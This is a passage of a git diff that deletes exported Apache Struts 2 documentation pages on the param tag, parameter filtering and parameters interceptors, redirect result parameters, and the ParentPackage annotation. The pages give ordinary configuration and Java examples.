-And in situation (B) the value would be evaluated to the stack as a <tt>java.lang.Object</tt> object.
-<br clear="none">For more information see <a shape="rect" href="https://issues.apache.org/jira/browse/WW-808">WW-808</a>.
-</p>
-
-<h1 id="param-Parameters">Parameters</h1>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h1 id="param-Examples">Examples</h1>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;pre&gt;
-&lt;ui:component&gt;
- &lt;ui:param name=&quot;key&quot;     value=&quot;[0]&quot;/&gt;
- &lt;ui:param name=&quot;value&quot;   value=&quot;[1]&quot;/&gt;
- &lt;ui:param name=&quot;context&quot; value=&quot;[2]&quot;/&gt;
-&lt;/ui:component&gt;
-&lt;/pre&gt;
-
-&lt;p&gt;
-Whether to suppress empty parameters:
-&lt;/p&gt;
-
-&lt;pre&gt;
-&lt;s:url action=&quot;eventAdd&quot;&gt;
-  &lt;s:param name=&quot;bean.searchString&quot; value=&quot;%{bean.searchString}&quot; /&gt;
-  &lt;s:param name=&quot;bean.filter&quot; value=&quot;%{bean.filter}&quot; /&gt;
-  &lt;s:param name=&quot;bean.pageNum&quot; value=&quot;%{pager.pageNumber}&quot; suppressEmptyParameters=&quot;true&quot; /&gt;
-&lt;/s:url&gt;
-&lt;/pre&gt;
-]]></script>
-</div></div>
-<p>where the key will be the identifier and the value the result of an OGNL expression run against the current
-ValueStack.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/parameter-filter-interceptor.html b/content/docs/parameter-filter-interceptor.html
deleted file mode 100644
index edc4559..0000000
--- a/content/docs/parameter-filter-interceptor.html
+++ /dev/null
@@ -1,204 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Parameter Filter Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="parameter-filter-interceptor.html">Parameter Filter Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Parameter Filter Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14124">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14124">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14124">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14124">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14124">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14124">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>The Parameter Filter Interceptor blocks parameters from getting
-to the rest of the stack or your action. You can use multiple 
-parameter filter interceptors for a given action, so, for example,
-you could use one in your default stack that filtered parameters
-you wanted blocked from every action and those you wanted blocked 
-from an individual action you could add an additional interceptor
-for each action.</p>
-
-
-<h2 id="ParameterFilterInterceptor-Parameters">Parameters</h2>
-
-
-<p></p><ul><li>allowed - a comma delimited list of parameter prefixes
- that are allowed to pass to the action</li><li>blocked - a comma delimited list of parameter prefixes 
-that are not allowed to pass to the action</li><li>defaultBlock - boolean (default to false) whether by
-default a given parameter is blocked. If true, then a parameter
-must have a prefix in the allowed list in order to be able 
-to pass to the action
-</li></ul>
-
-<p></p><p>The way parameters are filtered for the least configuration is that
-if a string is in the allowed or blocked lists, then any parameter
-that is a member of the object represented by the parameter is allowed
-or blocked respectively.</p>
-
-<p></p><p>For example, if the parameters are:
-</p><ul><li>blocked: person,person.address.createDate,personDao</li><li>allowed: person.address</li><li>defaultBlock: false</li></ul>
-
-<p></p><p>
-The parameters person.name, person.phoneNum etc would be blocked 
-because 'person' is in the blocked list. However, person.address.street
-and person.address.city would be allowed because person.address is
-in the allowed list (the longer string determines permissions).</p> 
-
-<h2 id="ParameterFilterInterceptor-Example">Example</h2>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: bash; gutter: false; theme: Confluence" style="font-size:12px;">
-&lt;interceptors&gt;
-    ... 
-    &lt;interceptor name="parameterFilter" class="com.opensymphony.xwork2.interceptor.ParameterFilterInterceptor"/&gt;
-    ... 
-&lt;/interceptors&gt;
-
-&lt;action ....&gt; 
-     ... 
-     &lt;interceptor-ref name="parameterFilter"&gt; 
-          &lt;param name="blocked"&gt;person,person.address.createDate,personDao&lt;/param&gt; 
-     &lt;/interceptor-ref&gt; 
-     ... 
-&lt;/action&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/parameters-in-configuration-results.html b/content/docs/parameters-in-configuration-results.html
deleted file mode 100644
index caa5b8a..0000000
--- a/content/docs/parameters-in-configuration-results.html
+++ /dev/null
@@ -1,209 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Parameters in configuration results</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="parameters-in-configuration-results.html">Parameters in configuration results</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Parameters in configuration results</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=44097">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=44097">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=44097">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=44097">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=44097">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=44097">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Sometimes there is a need to redirect from one action to another, but you do not know the exact URL or that the destination URL requires parameters that are only known at run-time. </p>
-
-<p>Struts 2 offers an easy solution for that problem.</p>
-
-<h2 id="Parametersinconfigurationresults-Parametersinactionresultdefinitions">Parameters in action result definitions</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;struts&gt;
-...
-   &lt;package name="somePackage" namespace="/myNamespace" extends="struts-default"&gt;
-      &lt;action name="myAction" class="com.project.MyAction"&gt;
-         &lt;result name="success" type="redirectAction"&gt;otherAction?id=${id}&lt;/result&gt;
-         &lt;result name="back" type="redirect"&gt;${redirectURL}&lt;/result&gt;
-      &lt;/action&gt;
-
-      &lt;action name="otherAction" class="com.project.MyOtherAction"&gt;
-         ...
-      &lt;/action&gt;      
-   &lt;/package&gt;
-...
-&lt;/struts&gt;
-</pre>
-</div></div>
-
-<p>The only requirement is to declare the necessary properties in your action, in this case <code>com.project.MyAction</code> should define properties <code>id</code> and <code>redirectURL</code> with standard accessor methods.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class MyAction extends ActionSupport {
-   private int id;
-   private String redirectURL;
-   ...
-
-
-   public String execute() {
-       ...
-      if (someCondition) {
-         this.redirectURL = "/the/target/page.action";
-         return "back";
-      }
-
-      this.id = 123;
-      return SUCCESS; 
-   }
-
-   public int getId() { return this.id; }
-   public void setId(int id) { this.id = id; }
-   public String getRedirectURL() { return this.redirectURL; }
-   public void setRedirectURL(String redirectURL) { this.redirectURL= redirectURL; }
-   ...
-}
-</pre>
-</div></div>
-
-
-<p>In the above code if it returns <code>SUCCESS</code> then the browser will be forwarded to<br clear="none">
-   <strong><code>/&lt;app-prefix&gt;/myNamespace/otherAction.action?id=123</code></strong></p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/parameters-interceptor.html b/content/docs/parameters-interceptor.html
deleted file mode 100644
index b653cfb..0000000
--- a/content/docs/parameters-interceptor.html
+++ /dev/null
@@ -1,159 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Parameters Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="parameters-interceptor.html">Parameters Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Parameters Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14064">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14064">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14064">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14064">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14064">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14064">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>This interceptor sets all parameters on the value stack.</p><p>This interceptor gets all parameters from {@link ActionContext#getParameters()} and sets them on the value stack by&#160;calling <code>ValueStack#setValue(String, Object)</code>, typically resulting in the values submitted in a form&#160;request being applied to an action in the value stack. Note that the parameter map must contain a String key and&#160;often containers a String[] fo [...]
-</plain-text-body><p>Below is an example of adding a parameter named submit to the list of parameters that should be excluded.</p><parameter ac:name="title">Setup Interceptor Stack To Exclude submit Parameter</parameter><parameter ac:name="">XML</parameter><plain-text-body>&lt;interceptors&gt;
-  &lt;interceptor-stack name="appDefault"&gt;
-    &lt;interceptor-ref name="defaultStack"&gt;
-       &lt;param name="exception.logEnabled"&gt;true&lt;/param&gt;
-       &lt;param name="exception.logLevel"&gt;ERROR&lt;/param&gt;
-       &lt;param name="params.excludeParams"&gt;dojo\..*,^struts\..*,^session\..*,^request\..*,^application\..*,^servlet(Request|Response)\..*,parameters\...*,submit&lt;/param&gt;
-    &lt;/interceptor-ref&gt;
-  &lt;/interceptor-stack&gt;
-&lt;/interceptors&gt;
-		
-&lt;default-interceptor-ref name="appDefault" /&gt;
-</plain-text-body><h2 id="ParametersInterceptor-ExtendingtheInterceptor">Extending the Interceptor</h2><p>The best way to add behavior to this interceptor is to utilize the <code>ParameterNameAware</code>&#160;interface in your&#160;actions. However, if you wish to apply a global rule that isn't implemented in your action, then you could extend&#160;this interceptor and override the <code>#acceptableName(String)</code>&#160;method.</p><rich-text-body><p>Using <code>ParameterNameAware</co [...]
-Unexpected Exception caught setting 'search' on 'class demo.ItemSearchAction: Error setting expression 'search' with value ['search', ]
-Error setting expression 'search' with value ['search', ] - [unknown location]
-	at com.opensymphony.xwork2.ognl.OgnlValueStack.handleRuntimeException(OgnlValueStack.java:201)
-	at com.opensymphony.xwork2.ognl.OgnlValueStack.setValue(OgnlValueStack.java:178)
-	at com.opensymphony.xwork2.ognl.OgnlValueStack.setParameter(OgnlValueStack.java:152)
-</plain-text-body><p>Thus is expected behaviour to allow developer to spot missing setter or typo in either parameter name or setter.</p><h2 id="ParametersInterceptor-Examples">Examples</h2><plain-text-body>&lt;action name="someAction" class="com.examples.SomeAction"&gt;
-  &lt;interceptor-ref name="params"/&gt;
-  &lt;result name="success"&gt;good_result.ftl&lt;/result&gt;
-&lt;/action&gt;</plain-text-body></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/parentpackage-annotation.html b/content/docs/parentpackage-annotation.html
deleted file mode 100644
index abf0a25..0000000
--- a/content/docs/parentpackage-annotation.html
+++ /dev/null
@@ -1,149 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>ParentPackage Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="parentpackage-annotation.html">ParentPackage Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">ParentPackage Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=68490">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
